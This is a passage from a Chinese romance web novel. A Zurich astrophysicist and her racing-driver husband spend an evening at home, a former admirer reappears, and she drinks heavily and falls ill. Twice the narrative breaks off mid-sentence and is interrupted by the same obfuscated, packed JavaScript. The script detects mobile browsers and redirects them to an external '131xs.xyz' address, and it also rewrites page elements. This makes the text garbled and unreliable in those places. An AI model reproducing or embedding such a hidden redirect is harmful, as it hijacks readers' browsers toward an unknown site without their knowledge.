她向前一厘米,唇瓣相贴的瞬间,汽油“嗷呜”一声挤进两人之间。 “汪!”小狗不满地叫唤,爪子扒拉温木的小腿。 宋星燃单手捂住汽油的眼睛,另一只手扣住温木的后脑,加深这个吻。 他的舌尖带着薄荷糖的味道,可能是刚才偷偷含的。 温木揪住他衣领,听到布料撕裂的轻响。 “唔……衣服。” “不管。”宋星燃咬她下唇,呼吸明显乱了。 他忽然拦腰把她抱起来,温木下意识环住他脖子,两条腿悬在空中晃了晃。 “不吃饭吗?”她问,指尖卷着他后颈的碎发。 宋星燃大步走向卧室:“饿了?” “我是看你准备了,不吃可惜。”温木用膝盖顶他腰侧。 “你自己做的?” “你怎么知道?” “因为,”她轻笑,“比外面卖的丑。” 宋星燃脚步一顿,眉毛危险地扬起:“我忙活了一下午呢,温老师还这样打击人家。” 温木点点他的鼻尖:“你是小媳妇吗?这么喜欢撒娇。” “你说我是我就是。”男人用鼻尖蹭她的。 “你不喜欢我撒娇吗?” “现在,还行。” “那什么时候不行?“ “床上。” 宋星燃立刻调转方向往卧室冲,汽油却死死咬住他裤脚。 “汪!”小狗发出抗议,尾巴啪嗒啪嗒拍打地板。 温木笑出声:“汽油都不同意了。” 她摸摸男人发烫的耳尖:“先吃饭。” 停顿半秒,又压低声音:“等我吃饱了,你再吃。嗯?” 宋星燃的眼神瞬间暗下来。他喉结滚动两下,突然把脸埋在她肩窝深吸一口气,才不情不愿地走向岛台。 “那你可要多吃点。”他把温木放在高脚椅上,指尖有意无意划过她大腿内侧。 “我很难喂饱的。” 温木轻笑:“知道了,大馋小子。” 烛光晚餐摆在开放式厨房的岛台上——如果那能称为“晚餐”的话。 牛排边缘有些焦黑,奶油蘑菇汤稠得像浆糊,唯一像样的是沙拉,因为只需要切和拌。 温木用叉子戳了戳那块疑似牛排的物体,金属与焦壳碰撞出清脆声响。 “米其林三星。”宋星燃大言不惭地给自己倒红酒,“宋氏独家配方。” 温木切下一小块送入口中,意外发现里面是完美的五分熟。酱汁虽然卖相惨烈,但黑胡椒与红酒的搭配居然很地道。 “怎么样?”宋星燃撑着下巴看她,烛光在那张俊脸上跳动。 “能吃。”温木故意道,又叉走他盘里一块蘑菇。 男人起身,隔着桌子吻掉她唇边的酱汁。“温老师嘴真刁。” 他舔舔嘴角,动作是说不出的涩,“不过我喜欢。” 一顿饭吃得七零八落。 汽油在脚边转来转去,时不时接到空中抛来的肉块。 宋星燃喝到第三杯红酒时,突然放下酒杯。 “汽油,”他打了个响指,“我们给妈妈表演个节目。” 温木挑眉:“你们排练过?” “天赋,懂吗?”男人从沙发后摸出一把吉他。 这把吉他,温木在星河湾的别墅里见到过,她一度以为这只是宋星燃用来证明自己不是大老粗的手段,没想到他居然真的会弹! 他盘腿坐在地毯上,汽油立刻蹲坐在他脚边,尾巴规律地拍打地面。 前奏响起时,温木差点没认出是《Perfect》。 宋星燃弹得毫无章法,第三小节就忘了和弦,干脆自己瞎编。他唱歌出奇地难听,每个音都跑得离谱,但表情认真得仿佛在世界杯决赛现场。 “Baby,I''mdancinginthedark……”他盯着温木的眼睛唱,手指在琴弦上笨拙地移动。 汽油突然“嗷呜”一声,开始原地转圈。这不是训练有素的表演,纯粹是小狗被音乐感染的自然反应。但宋星燃立刻配合着改变节奏,把跑调的歌即兴改成适合狗狗蹦跳的旋律。 温木托着腮,静静看着眼前的一人一狗。 男人的黑色毛衣领口滑向一侧,露出锁骨上她昨晚咬的牙印;汽油的白爪子随着“舞蹈”啪嗒啪嗒踩在他裤子上,留下几朵灰色梅花。 这个画面荒谬又温馨,让她胸口发胀。 最后一个音符结束,汽油累得直接趴下吐舌头。 宋星燃把吉他一扔,眼睛亮晶晶地望向温木:“怎么样?” “难听死了。”温木说,却忍不住嘴角上扬。 宋星燃扑过来抱她,带着红酒和皮革的气息:“可你明明在笑。” “因为汽油可爱。” “那我呢?”男人舔着眸子问她。 “你……” “也可爱。” 下一秒,温木被吻住。宋星燃的舌尖还带着赤霞珠的涩味,手掌已经探进她毛衣下摆。 汽油识趣地叼着玩具跑开了。他趁机把人抱上岛台,餐盘被扫到一旁发出脆响。吻从唇角蔓延到颈侧,在曾经留下吻痕的地方又加重力道。 “宋星燃。” 布料摩擦的细碎声响中,温木轻轻按住他急不可耐的手。 “为什么是今天把汽油接来?” 男人动作顿了一下,继续埋首在她锁骨处:“想让你开心。” “我平时不开心吗?” “不一样。”宋星燃抬头,眼底有温木读不懂的情绪,“今天是我们绑住彼此的日子。” 他抚过她无名指的婚戒,“我想让你记住这种感觉。” 绑住彼此。 温木想笑。准确来说,应该是她把他绑来了吧。 不过现在看起来,一向沉静有礼的温博士人生唯一一次霸道出格,结果倒不坏。 她刚想开口,却被男人以吻封缄。 他的手臂肌肉绷紧,把她牢牢箍在怀中,仿佛一松手她就会消失。 后来的一切都模糊了。只记得从岛台到沙发,再到卧室的凌乱轨迹。 宋星燃今晚格外沉默,只用行动表达占有欲。温木在浪潮般的快感中浮沉,指尖在他背上抓出红痕。 恍惚间,她听到男人哑声说: “不许离开我。” 温木意识涣散,只能发出含糊的鼻音回应。 宋星燃咬住她耳垂,一字一顿: “不管遇到谁,都不许离开我。” 窗外,苏黎世的夜空繁星点点。汽油趴在门边睡着了,爪子里还抱着那个被咬烂的玩具。 卧室里,他将熟睡的人搂得更紧了些。 * 温木最近总是收到花。 一束简单的白玫瑰,放在她的工位上,没有署名,只有一张卡片,上面写着:【给Luna】。 她以为是宋星燃送的,毕竟他偶尔会搞这种小浪漫。 好吧,不是偶尔,他挺会搞浪漫的。 结果当她拍张照片发给他,并附言:【谢谢宋少爷的花】后,宋星燃秒回: 火星哥:【?】 火星哥:【不是我】 温木挑眉。 Jupiter:【那可能是组里谁送的?】 男人直接弹了个视频过来,眉头皱得能夹死苍蝇。 “谁给你送花?” 那语气,感觉下一秒就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394257|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要顺着网线打过来了。 温木觉得有趣,靠在椅背上,慢悠悠地推了推眼镜。 “不知道啊,可能是某个仰慕者?” 宋星燃眯起眼:“温木。” “你最好别让我查出来是谁。” 温木轻笑:“怎么,宋少爷要揍人?” 他冷笑,“我要让他知道,送花和送命,只能选一样。” 温木:“……” 后来,花还是隔三差五地出现,有时候是玫瑰,有时候是郁金香,甚至有一次是一束满天星配蓝风铃,恰好是她最喜欢的花。 温木问过组里的人,没人承认。她索性不再纠结,权当是某个害羞的同事送的,正好拿来装饰会议室了。 这些年她遇见过各色各样的追求者,只要没影响到她的正常生活,也就没管了。 反正宋星燃远在天边,也没心思管这些小事。 只是,渐渐地,除了花,还多了一杯咖啡。 温木试了下,没毒。 所以,到底是哪个小天使投喂的? 为什么做好事不留名呢? “Luna,你是不是有秘密追求者啊?”Sarah挤眉弄眼。 温木淡定地喝了一口咖啡:“可能吧。” 她其实不太在意,反正花和咖啡都挺合她心意,就当是生活里的小惊喜。 当然,气宋星燃是最主要的目的。 * 某个周三的下午,Schmidt叫住她。 “Luna,有件事想拜托你。”老教授推了推眼镜,语气温和,“我有个学生,很优秀,最近刚回瑞士,我想让他跟着项目学习一段时间。你帮我指导一下他。” 温木点头:“没问题教授。” “他以前在ETH读过书,对天体物理很有研究,应该能帮上忙。” “我明白。” 温木随口问:“他叫什么?” 教授刚要回答,低头看了眼手表:“啊,我待会儿有个临时会议,不如让他直接来会议室找你?” “你可以先给他介绍一下组里的情况,不会耽误你回家吃饭的。” 温木听出他话里的调侃,无奈道:“我先生,也没有那么粘人。” Schmidt哈哈大笑:“真的吗?我不这么觉得。” 温木:“……” 教授拍拍她的肩:“真是辛苦了,Luna。” 晚上七点,会议室里只剩下温木一个人。 她低头看着电脑屏幕,指尖在键盘上敲打,偶尔停下来抿一口已经凉掉的咖啡。 窗外天色渐暗,苏黎世的夜晚总是来得很快。 手机震动,宋星燃的视频通话弹了出来。 她接通,屏幕上立刻出现一张俊脸,黑发微湿,看起来刚训练完。 “老婆。”他嗓音低哑,带着点疲惫的慵懒,“你怎么还没回家?” 温木单手支着下巴:“在等人。” 宋星燃挑眉:“等谁?” “教授的学生,说是要跟着项目学习。” 宋星燃“啧”了一声:“大晚上的,让你一个人等?” 温木轻笑:“怎么,宋少爷吃醋了?” “嗯。”他坦然承认,眼神直勾勾地盯着她。 “想你了。” 温木指尖轻轻敲了敲桌面,语气淡淡:“才分开两天。” “两天已经很长了!”宋星燃凑近屏幕,声音压低,“你不想我?” 温木没回答,只是微微勾起唇角。 男人盯着她看了两秒,突然笑了:“温老师,你耳朵红了。” 温木:“……” 她刚要反驳,视频那头有人喊了一声:“宋!教练找你!” 宋星燃的表情瞬间冷了下来,头也不回地甩了句:“让他等着。” 那人似乎被他的语气吓到,小声说了句“抱歉”就匆匆离开。 温木挑眉:“你对人家那么凶?” 宋星燃转回来,表情又恢复了那种懒散的温柔:“我只对你温柔。” “双标。” “嗯,我乐意。” “你什么时候回家?” “等见到人,聊完就走。” “别聊太久。”男人懒洋洋靠在椅背上,眯了眯眼。 “不然,我会怀疑他居心不良。” 温木正要说话,突然,会议室的门被轻轻敲响。 她抬头看了一眼,对那头道:“不讲了,人来了。” 男人还想说什么,她已经干脆利落地挂了电话。 温木合上电脑,站起身,整理了一下衣角,转身面向门口。 “请进。” 门被推开。 一个高挑的身影走了进来。 温木抬眼,目光落在对方脸上的瞬间,蓦然愣住。 男人微微一笑,嗓音低沉温润: “温老师。” “好久不见。” 44. For us 温木站在会议室里,指尖掐进掌心。 她以为自己看错了。 可那张脸——那张曾经在她二十多岁的记忆里留下过短暂痕迹的脸——就这样毫无预兆地重新出现在她面前。 是明杨。 他比五年前更高了,肩膀宽阔,轮廓深邃,褪去了少年气的莽撞,却仍带着那种令人无法忽视的存在感。他穿着简单的白衬衫,袖口挽到手肘,露出手腕上那串熟悉的檀木珠——那是她曾经随口提过喜欢的款式。 他的眼睛还是那么亮,像夏夜的星,带着笑意,又藏着几分她读不懂的情绪。 “温老师,不记得我了吗?” 他微微歪头,语气轻松,仿佛他们昨天才见过。 温木的喉咙发紧。 她记得。 她当然记得。 Nova。 那是他在天文社的代号,意为“新星”,是她取的。 五年前,他也是这样笑着问她:“温老师,我能追你吗?” 而现在,他站在她面前,像一场猝不及防的旧梦。 “记得。”温木听见自己的声音,冷静得不像话,“你是Nova。” 明杨笑了,眼尾弯起一道浅浅的弧度。 “真荣幸,温老师还记得我。” 温木没接话,只是转身走向会议桌,指尖轻轻敲了敲桌面上的资料。 “Schmidt教授说你想参与项目?”她语气平静,公事公办,“这是目前的研究方向和数据模型,你可以先看看。” 明杨没动。 他只是看着她,目光专注得几乎让她不适。 “温老师。”他忽然喊她。 “你变了很多。” 温木抬眸,对上他的视线:“五年了,人总会变。” “也是。”明杨轻笑,手指无意识地拨弄着手腕上的珠子,“不过,你还是和以前一样。” 他忽然向前一步,距离骤然拉近。温木闻到他身上淡淡的檀木香。 “连假装不认识我的时候,睫毛都会轻轻发抖。” 温木的呼吸一滞。 她后退半步,拉开距离:“项目介绍在第三页。” 明杨没理会她的回避,反而俯身撑在桌沿,将她半圈在桌前。 “我送的花,你喜欢吗?”他低声问。 温木猛地抬眼:“是你?” “嗯。”他轻笑,“蓝色风铃,你以前说过,像星云。” “咖啡也是你送的?” “双份奶,不加糖。”他目光落在她的唇上,“你的口味一直没变。” 温木攥紧了手中的笔:“明杨,这很越界。” “是吗?”他直起身,状似无辜地摊手,“我只是想讨好一下未来的项目负责人。” “不必。”她冷声道,“公事公办就好。” 明杨盯着她看了几秒,忽然笑了:“温老师,你还在生我的气?” 温木:“我没有生气。” “那为什么不敢看我?” 温木深吸一口气,终于直视他的眼睛:“因为我在想,该怎么跟Schmidt教授说,我不想带你。” 明杨的笑容僵了一瞬。 “这么讨厌我?” “不是讨厌。”温木合上文件夹,“是不合适。” “哪里不合适?” 他忽然伸手,指尖轻轻碰了碰她无名指的婚戒。 “因为这个?” 温木猛地抽回手:“别碰我。” 明杨收回手,眼神暗了暗:“抱歉。” 沉默在两人之间蔓延。 最终,温木拿起包,准备离开。 “你走的那天,”明杨突然开口,“也是这样的背影。” 温木的脚步顿住。 “头也不回。”他的声音带着几分自嘲,“连句再见都不肯说。” “因为没必要。”温木没有转身,“你很清楚为什么。” “我知道。”他轻声说,“因为我太年轻,太冲动,配不上你的冷静。” 温木终于回头看他:“不是配不上。” “那是什么?” “是不合适。” 她的语气异常平静:“你要的是轰轰烈烈的爱情。而我,要的是能并肩同行的人。” 明杨笑了:“所以现在这个人出现了?” “嗯。” “他对你好吗?” “很好。” “比我好?” 温木看着他,忽然也笑了:“Nova,你从来都不是我的选项。” 明杨的表情终于出现一丝裂痕。 “真残忍啊,温老师。”他低声说,“连个幻想都不肯留给我。” “因为没必要。” 温木转身,“你也该长大了。” 她推开门,走廊的灯光昏黄,夏夜的风从敞开的窗户灌进来,带着微热的躁意。她的心跳得有些快,掌心微微发潮,可脚步却一步未停。 “温木。”明杨在身后叫她。 她没有回头。 “花我还会送。”他说,“就当是,道歉。” 温木的脚步没有停。 “不必了。” 她的声音消散在夏夜的风里。 “我先生会吃醋。” “哈。” 明杨的声音从身后传来。 “你真的结婚了。” 她没回头,只是微微侧脸。 “和你有关系吗?” 明杨沉默了两秒。 “没有。”他低声说,“没有。” “我只是……想祝福你。” 温木的手指攥紧了包带。 她没说话,只是点了点头,然后快步走向楼梯间。 走廊的尽头,夜风卷着树影晃动,远处的苏黎世湖泛着细碎的波光。六月的空气闷热潮湿,黏在皮肤上,像一层挥之不去的旧梦。 她走得很快,仿佛身后有什么在追赶。 直到走出教学楼,直到夜风彻底吹散那股若有若无的檀木香,她才停下脚步,深深吸了一口气。 手机在口袋里震动。 她掏出来,屏幕上跳动着“老公”两个字。 温木盯着那个名字看了两秒,忽然笑了。 她按下接听键。 “老婆。”宋星燃的声音透过听筒传来,带着熟悉的懒散和笑意,“怎么还没到家?” 温木抬头,望向夜空。 繁星点点,像无数双注视着她的眼睛。 “马上回去了。”她轻声说。 “想我了没?” “嗯。” “嗯是什么意思?” “想了。” 宋星燃低笑,嗓音沙哑:“我也想你。” 温木闭上眼睛,任由夜风拂过脸颊。 “宋星燃。” “嗯?” “我今晚想吃你煮的面。” 电话那头顿了一下,随即传来窸窸窣窣的动静,像是他猛地坐直了身体。 “现在?” “现在。” “可我在布鲁塞尔——” “我知道。”温木打断他,眼睛酸涩得很,“所以,你欠我一碗。” 宋星燃沉默了两秒,低笑一声。 “行。”他说,“等我回去,给你煮一辈子。” 温木也笑了。 “好。” 她挂断电话,抬头最后看了一眼教学楼的某个窗口。 那里,一道修长的身影静静伫立,目光遥远而沉默。 温木收回视线,转身走入夜色。 这一次,她没有回头。 * 汽油的爪子在地板上啪嗒啪嗒地响,它咬着尾巴冲过来,湿漉漉的鼻子蹭着温木的裤脚。 “妈妈回来了。”她轻声说,弯腰揉了揉它的脑袋。 汽油却不像往常那样兴奋地扑她,而是仰着头,黑亮的眼睛盯着她,喉咙里发出呜呜的低鸣。 它似乎察觉到她的情绪,前爪搭上她的膝盖,轻轻扒拉两下,像是在问:妈妈你怎么了? 温木蹲下来,把脸埋进汽油蓬松的毛发里,深深吸了一口气。 “没事。”她低声说,更像是在安慰自己,“妈妈没事。” 窗外,苏黎世的夜色璀璨如星河。远处高楼灯火通明,霓虹在玻璃幕墙上流动,像一场永不落幕的梦。可温木站在落地窗前,却觉得那些光点遥远得像是另一个世界。 她忽然觉得很累。 不是身体上的疲惫,而是某种更深的东西——像是被潮水冲刷过后的沙滩,留下深深浅浅的沟壑,无法抚平。 她走向酒柜,指尖在一排排酒瓶上划过,最后停在一瓶伏特加上。 透明的液体,纯粹的烈。 她拿出玻璃杯,犹豫了一秒,又放了回去。直接撬开瓶盖,仰头灌了一口。 酒精像刀,从喉咙一路烧到胃里。她呛了一下,眼眶瞬间发烫,可她还是又喝了一口,再一口。 伏特加没有味道,只有纯粹的灼烧感。可偏偏是这种近乎自虐的刺激,让她混沌的思绪短暂地清醒了一瞬。 她拎着酒瓶走到沙发边,整个人陷进去,摸出手机。 微信列表滑了很久,久到屏幕自动熄灭,她又按亮,继续滑。 最后,她拨通了于茉的电话。 “嘟——嘟——” 响了很久,电话才被接起。 “宝贝,”于茉的声音带着浓浓的睡意,“就算你很想我,也不用凌晨三点给我打电话吧?” 电话那头沉默了很久。 于茉似乎察觉到什么,声音很快清醒过来:“怎么了?发生什么事了?怎么不说话?” 顿了顿,她又试探性地问:“和宋星燃吵架了?” 半晌,温木才轻轻地说:“我遇见他了。” 瞬间安静。 几秒钟后,于茉的声音变得异常清晰:“……明杨?” “嗯。” “在苏黎世?” “嗯。” “……艹。” 于茉深吸一口气,温木能听到她翻身坐起的窸窣声:“怎么回事?他怎么会突然出现?” “Schmidt教授的项目。”温木的声音很轻,“他是新加入的成员。” “他认出你了?” “第一眼就认出来了。”温木苦笑,“还叫我''温老师'',和以前一样。” 电话那头传来于茉烦躁的抓头发声:“王八蛋!” “他跟你说了什么?” 温木盯着酒瓶里晃动的液体:“他说,花是他送的,咖啡也是他送的。” “什么花?什么咖啡?” “最近一个月,我桌上总会出现花和咖啡。”温木闭了闭眼,“我以为是哪个同学送的,没在意。” 于茉骂了句脏话:“他跟踪你?” “应该不是。”温木摇头,“他说是''道歉''。” “道什么歉?当年不告而别的歉?”于茉冷笑,“五年了,现在才想起来道歉?” 温木没说话。 “他还说什么了?” “他说……”温木的声音低下去,“我走的那天,连句再见都不肯说。” 电话那头,于茉沉默了。 良久,她才轻声问:“阿木,你现在什么感觉?” 温木仰头又灌了一口酒,酒精烧得她眼眶发热:“烦。” “烦他?” “烦这一切。”她的手指无意识地摩挲着酒瓶,“烦这个时间,这个地点,烦……” “烦宋星燃不在?” 温木的指尖顿住。 “我不知道该怎么面对他。”她终于说出口,“如果宋星燃知道……” “他会发疯。”于茉干脆利落地说,“以他的脾气,绝对会把明杨揍得妈都认不出来。” 温木苦笑:“我知道。” 于茉:“你打算告诉他吗?” “我不知道。”温木揉了揉太阳穴,“我不想瞒他,可是……” “可是你怕他误会?” “嗯。” 电话那头,于茉叹了口气:“阿木,你老实告诉我。你现在对明杨,到底是什么感觉?” 温木沉默了。 酒精让她的思绪变得迟缓,但某些记忆却越发清晰。 五年前,天文台的深夜,明杨趴在望远镜旁,笑着对她说:“温老师,你看那颗星,像不像你的眼睛?” 实验室里,他总是不请自来,带着两杯咖啡,一杯双份奶不加糖,一杯全糖加奶盖。 下雨天,他把外套罩在她头上,自己淋得浑身湿透,却还在笑:“温老师,我是不是很帅?” 分别的那天,他站在ETH的校门口,眼神晦暗不明:“温木,如果我现在说我不想走了,你会不会留我?” 而她只是平静地回答:“别幼稚了,Nova。” “阿木?”于茉的声音将她拉回现实。 “我不知道。”温木最终说,“我不恨他,也不怨他,可是……” “可是见到他,你还是会想起以前?” “嗯。” 于茉沉默了一会儿:“你还记得当年他为什么突然离开吗?” 温木的手指紧了紧:“他跟我说,他要去追求更重要的东西。” “屁!”于茉冷笑,“他明明是收到了MIT的offer,连招呼都不打就直接走了。” “我知道。”温木轻声说,“后来我听说了。” “那你现在为什么还不怪他?!” “因为我觉得他说得对。” 温木轻声道。 “那时的他太年轻,太冲动,根本不知道自己要什么。” “那你呢?”于茉反问,“你知道自己要什么吗?” 温木愣住了。 “五年前,你拒绝他,是因为你觉得他不够成熟。” “那现在呢?如果他变了,如果他真的成熟了,你会动摇吗?” “不会。”温木几乎是立刻就回答了这个问题。 “我已经结婚了,我已经有丈夫了。” “那你为什么还这么烦?” 温木的声音哽了一下:“因为,我不想让过去的事情影响现在。” 电话那头,于茉叹了口气:“阿木,你听我说——” 她的话突然被一阵咕咚声打断。 “阿木?” 没有回应。 “阿木!” 几秒后,温木虚弱的声音传来:“我没事,酒洒了。” 于茉这才注意到背景里玻璃碰撞的声音:“你在喝酒?“ “嗯。” “喝的什么?” “伏特加。” “你疯了!”于茉的声音陡然拔高,“你明明不能喝酒还喝这么烈的!你老公在不在家?” “不在,比赛去了。” “天啊!”于茉抓狂,“我跟你说,你现在最好别让宋星燃知道这事,不然真的会出大事。” 温木苦笑:“我知道。” “你打算怎么办?” “我不知道。”温木的声音带着醉意,“我想告诉他,但是我怕他误会我对明杨还有感觉。” “阿木,你听我说,明杨突然出现,还故意接近你,绝对没安好心。” “我知道。” “所以你必须跟宋星燃坦白。”于茉的语气变得严肃,“但不是现在,不是在你喝醉的时候,也不是在他比赛期间。” 温木没说话。 “等他比赛结束,你冷静下来,再好好跟他谈。”于茉继续说,“但在这之前,离明杨远点,明白吗?” “嗯。” “还有,别再喝酒了。”于茉的声音软下来,“去洗个热水澡,好好睡一觉,明天我再打给你,好吗?” 温木“嗯”了一声,挂断电话。 酒瓶已经空了。 她仰头喝完最后一口,酒精烧得她眼前发晕。 汽油跳上沙发,蜷在她腿边,温暖的身体贴着她。温木伸手摸了摸它的脑袋,意识逐渐模糊。 恍惚间,她好像看见了一个男人的身影。 高挑,挺拔,站在光与影的交界处。 她分不清那是宋星燃,还是明杨。 两人的轮廓在她醉意朦胧的视线里重叠,又分开,最终化作一片混沌的黑暗。 她闭上眼,沉入梦境。 梦里,有人轻声问她: “温老师,你选谁?” * 温木是被一阵尖锐的头痛刺醒的。 她睁开眼,眼前一片模糊,喉咙干涩得像被砂纸磨过。窗外的阳光透过窗帘缝隙刺进来,照在她脸上,她下意识抬手挡了挡,却连这个简单的动作都让她太阳穴突突直跳。 宿醉。 她缓慢地眨了眨眼,视线涣散地盯着天花板。床头的手机屏幕亮着,显示下午两点十七分,未接来电——37个。 全部来自“老公”。 温木闭了闭眼,手指微微发抖,点开通话记录。最近的一通是十分钟前。她深吸一口气,拨了回去。 电话几乎是立刻被接通。 “温木!” 宋星燃的声音从听筒里炸开,又急又冲,背景音嘈杂,隐约能听到引擎的轰鸣和工作人员的喊声。 “你他爹的怎么回事?!一晚上不接电话?你知道我给你打了多少电话吗?!” 男人的声音像一把钝刀,狠狠刮过她脆弱的神经。 温木下意识把手机拿远了些,喉咙里挤出一声轻不可闻的回应:“对不起。” 像按下了某个暂停键。 电话那头瞬间安静。 几秒后,宋星燃的嗓音陡然沉了下来,背景的嘈杂声也消失了,像是他快步走到了某个安静的角落。 “老婆,怎么了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398812|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对不起,我刚才态度不好。我向你道歉。” 温木没说话。她盯着自己放在被子上的手,指尖因为用力而微微发白。 “老婆?”他的语气彻底变了,带着明显的慌乱,“出什么事了?你在哪?” “在家。”她的声音轻得几乎听不见。 “你声音不对。”宋星燃的语速变快,呼吸声透过听筒清晰地传来,“是不是生病了?还是有人找你麻烦?” “我没事。” “就是,有点不舒服。” “哪里不舒服?” “头疼。” “你喝酒了?” 温木没否认。她慢慢蜷起身体,把脸埋进膝盖里。电话那头传来急促的呼吸声,像是在压抑情绪。 半晌,宋星燃才开口,声音绷得很紧:“你从来不喝酒。” 温木:“嗯。” “为什么突然喝?” “就是想喝了。” “温木。”男人的嗓音沉得吓人,“你知不知道你在撒谎的时候,语速会变慢?“ 温木的手指攥紧了被子。 她感觉喉咙发紧,眼眶发热,有什么东西在胸腔里横冲直撞,却找不到出口。 “我现在让队医过去。”宋星燃不容拒绝地说,背景音里传来他快步走动的声响,“你在家等着,别挂电话。” “不用。”她立刻拒绝,声音因为急切而有些发抖,“我睡一觉就好。” “你——” “真的不用。”她声音很轻,却带着不容反驳的坚决,“你好好训练,别耽误比赛。” 电话那头沉默了几秒。然后传来一声闷响,像是拳头砸在墙上。 “打视频。” “让我看你一眼。” “不要。” “温木!”他的声音陡然提高,又猛地压下去,像是怕吓到她。 “让我看你一眼。” “求你。” 温木闭上眼睛,有什么温热的液体从眼角滑落。 “宋星燃。”她轻声说,“我没事,真的。” 电话那头传来一声压抑的喘息,像是他在极力控制情绪。然后是长久的沉默,久到温木以为通话已经断了,才听到他沙哑的声音:“我给你请个假,今天不许去学校。“ 温木:“嗯。” “电话别挂。” “我没事,先挂了。” “喂!” 她没等他再说什么,直接按下了挂断键。 房间里瞬间安静下来,只剩下她自己的呼吸声和汽油不安的呜咽。 温木慢慢坐起身,眩晕感立刻袭来,她不得不扶住床头柜才稳住身体。喉咙火辣辣的疼,胃里翻江倒海,可她连去厕所的力气都没有。 她盯着自己的手,指尖微微发抖。 她在躲什么? 她在怕什么? 明明什么都没发生,明明她什么都没做错,可她却像个心虚的罪犯,连宋星燃的声音都不敢听。 手机突然震动起来,屏幕上跳动着宋星燃的名字。温木盯着那个名字看了很久,最终没有接。 过了一会儿,一条消息弹出来: 火星哥:【接电话】 紧接着又是一条: 火星哥:【求你】 温木的指尖悬在屏幕上方,迟迟没有落下。 火星哥:【不管发生什么,我们一起解决,好不好?】 她的视线模糊了。 手机再次响起,这次是视频通话的请求。温木深吸一口气,按下接听键。 屏幕上出现宋星燃的脸。他看起来糟糕透了。黑发乱糟糟地支棱着,眼下有明显的青黑,嘴唇因为紧抿而发白。背景是车队的休息室,但他一个人站在角落里,眉头紧锁。 看到她的瞬间,男人的瞳孔猛地收缩:“你哭了?” 温木下意识摸了摸脸,才发现自己满脸泪水。 她慌乱地擦了擦,却越擦越多。 “到底怎么了?”宋星燃的声音哑得厉害,像是想穿过信号触碰她,“谁欺负你了?” 温木摇摇头,说不出话。 “是不是工作不顺利?”他急切地问,“还是项目出了问题?或者——” “宋星燃。”她打断他,声音轻得像叹息。 “我想你了。” 屏幕那头的男人愣住了。 他的喉结滚动,眼神软了下来:“我也想你。” “比赛,顺利吗?”她努力让自己的声音听起来正常些。 “别转移话题。”宋星燃皱眉,“告诉我到底怎么了。” 温木垂下眼睛,长长的睫毛在脸上投下一片阴影:“真的没事。就是有点累。“ “你,注意安全。” “我挂了。” * 温木还是去了学校。 她洗了个冷水澡,强迫自己清醒,化了淡妆遮住苍白的脸色,可镜子里的人依然憔悴得可怕。 Schmidt的办公室门半掩着,她轻轻敲了敲。 “请进。” 老教授抬头,看见她的瞬间愣了一下:“Luna?你脸色怎么这么差?” “抱歉,教授。”她低声说,“昨天有点不舒服,耽误了工作。” Schmidt皱眉:“你应该在家休息。” “我没事。”她勉强笑了笑,“Kepler-13b的数据分析我已经整理好了,现在发给您?” 教授盯着她看了几秒,最终叹了口气:“好吧,但今天别太累。” 温木点点头,转身离开。 走廊上,她迎面撞上了一个人。 “温老师?” 明杨的声音让她脚步一顿。 他今天穿了件深灰色高领衬衫,衬得轮廓越发分明,手里抱着几本厚重的资料,正皱眉看着她:“你脸色很差。” “没事。”她下意识后退半步,“谢谢关心。” 明杨没让开,反而上前一步:“发烧了?” 他的手指即将触到她额头的瞬间,温木猛地侧身避开:“我说了,没事。” 明杨的手僵在半空,最终慢慢放下。 “抱歉。” 气氛一时有些凝滞。 “数据分析我已经发到组里邮箱了。”温木公事公办地说,“有问题可以随时问我。” 她转身要走,明杨却突然开口:“是因为昨天的事吗?” 温木脚步停住。 “如果是我的出现让你不舒服,”他的声音很低,“我可以退出项目。” 温木闭了闭眼。 “不必。”她最终说,“公事公办就好。” 她没有回头,没看见明杨眼底一闪而过的晦暗。 晚上七点,温木终于撑不住了。 她的头越来越重,视线也开始模糊,连打字的手指都变得迟钝。 Sarah担忧地看着她:“Luna,你确定不需要去医院?” 温木摇头:“我回家休息就好。” 她勉强收拾好东西,走出教学楼时,夜风一吹,她差点站不稳。 出租车里,她靠在窗边,额头抵着冰凉的玻璃,试图缓解那股灼热感。 她发烧了。 这个认知让她想笑。 因为一场重逢,因为一瓶伏特加,因为一个电话,她就把自己折腾成这样。 真不像她。 公寓里一片漆黑。 温木连灯都没开,直接倒在沙发上,连汽油凑过来舔她的手都没力气回应。 天花板在眼前旋转,她闭上眼睛,却感觉整个世界都在下沉。 她梦见了五年前的ETH。 梦见明杨在图书馆拦住她,笑着说:“温老师,我能追你吗?” 梦见宋星燃在赛车场边,挑眉看她:“你谁啊?” 两个身影在她梦里交错,最终变成一片混沌的黑暗。 她感觉自己在下坠。 一直下坠。 身下是无底的深渊。 那么黑,那么高。 她害怕,她真的好害怕。 忽然,有人抓住了她的手。 “温木!” 那声音好熟悉。 她拼命想睁开眼睛,可眼皮重得像灌了铅。 “温木!醒醒!” 她不要掉下去。 不要。 她用尽全力,终于睁开了眼—— 视线模糊了一瞬,然后渐渐清晰。 宋星燃的脸近在咫尺,眉头紧锁,眼底是藏不住的焦急。他的嘴唇在动,可她听不清他在说什么。 她忽然很想哭。 “宋星燃……” 她的声音哑得不成样子,手指颤抖着抓住男人的衣领。 “我在。” “老婆,我在这里。” 下一秒,她搂住男人的脖子,埋进他的怀里。 “你真的回来了。” 45. For us 